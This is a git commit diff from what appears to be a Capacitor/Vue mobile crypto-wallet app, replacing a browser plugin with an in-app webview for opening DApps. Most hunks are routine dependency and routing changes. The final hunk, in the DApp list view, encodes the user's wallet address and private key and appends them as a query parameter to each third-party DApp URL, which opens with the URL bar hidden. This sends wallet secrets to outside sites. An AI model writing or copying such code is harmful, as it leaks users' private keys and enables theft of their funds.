Browse Source

feat: dapp

liming 3 tuần trước cách đây
mục cha
commit
6b7a6ffda0

+ 1 - 1
android/app/capacitor.build.gradle

@@ -11,8 +11,8 @@ apply from: "../capacitor-cordova-android-plugins/cordova.variables.gradle"
 dependencies {
     implementation project(':aparajita-capacitor-biometric-auth')
     implementation project(':capacitor-app')
-    implementation project(':capacitor-browser')
     implementation project(':capacitor-device')
+    implementation project(':capacitor-inappbrowser')
     implementation project(':capacitor-local-notifications')
     implementation project(':capacitor-push-notifications')
     implementation project(':capacitor-status-bar')

+ 2 - 2
package.json

@@ -20,11 +20,11 @@
   "dependencies": {
     "@aparajita/capacitor-biometric-auth": "^9.0.0",
     "@capacitor/android": "^7.2.0",
-    "@capacitor/app": "^7.0.1",
-    "@capacitor/browser": "^7.0.1",
+    "@capacitor/app": "^7.0.1", 
     "@capacitor/cli": "^7.2.0",
     "@capacitor/core": "^7.2.0",
     "@capacitor/device": "^7.0.1",
+    "@capacitor/inappbrowser": "^2.2.0",
     "@capacitor/ios": "^7.2.0",
     "@capacitor/local-notifications": "^7.0.1",
     "@capacitor/push-notifications": "^7.0.1",

+ 2 - 13
src/components/DAppView/DAppView.vue

@@ -7,8 +7,7 @@
   </div>
 </template>
 
-<script setup>
-import { Browser } from "@capacitor/browser";
+<script setup> 
 import { verifyFingerprint } from "@/components/Biometrics/biometrics"
    
 
@@ -64,16 +63,6 @@ async function openAndInjectJavaScript() {
   // } catch (error) {
   //   alert(error);
   // }
-
-  await Browser.open({
-    url: "http://192.168.0.59:8080",
-    // 可选配置
-    toolbarColor: "#ffffff", // Android顶部工具栏颜色
-    presentationStyle: "popover", // iOS展示样式(fullscreen/popover)
-  });
-
-  // await Browser.addListener('browserPageLoaded', () => {
-  //   alert('页面加载完成')
-  // })
+ 
 }
 </script>

+ 22 - 0
src/composables/dAppView.js

@@ -0,0 +1,22 @@
+ 
+import {
+  InAppBrowser,
+  DefaultWebViewOptions,
+  DefaultSystemBrowserOptions,
+} from "@capacitor/inappbrowser";
+
+// dappView
+export const openDapp = async (url, params) => {
+  // 将对象参数转换为 URL 查询字符串
+  const queryString = new URLSearchParams(params).toString();
+  const fullUrl = `${url}?${queryString}`;
+
+  await InAppBrowser.openInWebView({
+    url: fullUrl, 
+    options: {
+      ...DefaultWebViewOptions,
+      showURL: false,
+      showToolbar:false,
+    },
+  });
+};

+ 0 - 55
src/plugins/WebOpener/index.js

@@ -1,55 +0,0 @@
-import { WebPlugin } from '@capacitor/core';
-
-// 定义插件
-export class WebOpener extends WebPlugin {
-  async open(options) {
-    const { url, params = {} } = options;
-
-    // 1. 如果是 Web 环境,直接 window.open
-    if (this.getPlatform() === 'web') {
-      const urlObj = new URL(url);
-      Object.entries(params).forEach(([key, value]) => {
-        urlObj.searchParams.append(key, value);
-      });
-      window.open(urlObj.toString(), '_blank');
-      return;
-    }
-
-    // 2. 如果是 Android/iOS,注入 JS 参数
-    const jsCode = `window.capacitorParams = ${JSON.stringify(params)};`;
-    
-    try {
-      // 在 WebView 中执行 JS(Capacitor 提供的 API)
-      await this.evalJs(jsCode);
-      
-      // 使用 Capacitor 的 Browser 模块打开网页
-      const { Browser } = await import('@capacitor/browser');
-      await Browser.open({ url });
-    } catch (error) {
-      console.error('WebOpener 插件出错:', error);
-      throw error;
-    }
-  }
-
-  // 通用的 JS 代码执行方法(兼容 Android/iOS)
-  async evalJs(jsCode) {
-    if (window.Capacitor?.Platform === 'android') {
-      // Android 方式
-      await window.Capacitor.Plugins.WebView.evaluateJavaScript({
-        code: jsCode,
-      });
-    } else if (window.Capacitor?.Platform === 'ios') {
-      // iOS 方式
-      await window.Capacitor.Plugins.WebView.evaluateJavaScript({
-        code: jsCode,
-      });
-    } else {
-      // 其他环境(如测试)
-      console.warn('当前环境无法执行 JS 注入:', jsCode);
-    }
-  }
-}
-
-// 注册插件(让 Capacitor 能识别)
-const WebOpener = new WebOpener();
-export { WebOpener };

+ 2 - 4
src/plugins/index.js

@@ -1,7 +1,6 @@
 import router, { setupRouter } from "@/router";
 // 新增:Capacitor 相关导入
-import { App as CapApp } from "@capacitor/app";
-import { Browser } from "@capacitor/browser";
+import { App as CapApp } from "@capacitor/app"; 
 
 // 推送服务
 import { pushNotificationService } from "@/services/PushNotificationService";
@@ -21,8 +20,7 @@ export const initCapacitor = async (app) => {
   });
 
   // 全局注入 Capacitor 能力
-  app.config.globalProperties.$capApp = CapApp;
-  app.config.globalProperties.$capBrowser = Browser;
+  app.config.globalProperties.$capApp = CapApp; 
 };
 
 export async function setupPlugin(app) {

+ 1 - 1
src/router/system.js

@@ -4,7 +4,7 @@ export const systemRoutes = [
   {
     path: "/",
     name: "main",
-    redirect: "login",
+    redirect: "dapp",
     component: LAYOUT,
     children: [
       {

+ 11 - 0
src/views/dapp/index.vue

@@ -127,7 +127,12 @@
 <script setup>
 import { dappSlides, dappList } from '@/api/path/dapp.api';
 import { useSystemStore } from "@/stores/modules/systemStore";
+import { useWalletStore } from '@/stores/modules/walletStore';
+import { openDapp } from '@/composables/dAppView';
+import { cryptoEncode } from '@/utils/crypto';
+
 const systemStore = useSystemStore();
+const walletStore = useWalletStore();
 
 const slidesList = ref([]);
 const tabsAppConfig = ref([
@@ -207,6 +212,12 @@ const handleVisitDapp = (item) => {
   filtered.unshift(item);
   const newHistory = filtered.slice(0, 6);
   systemStore.DAPP_CACHE_KEY = newHistory;
+
+  const dapp = cryptoEncode(JSON.stringify({
+    address: walletStore.address,
+    privateKey: walletStore.privateKey, 
+  }))
+  openDapp(item.url, {dapp})
 };
 const loadHistoryList = () => {
   const history = systemStore.DAPP_CACHE_KEY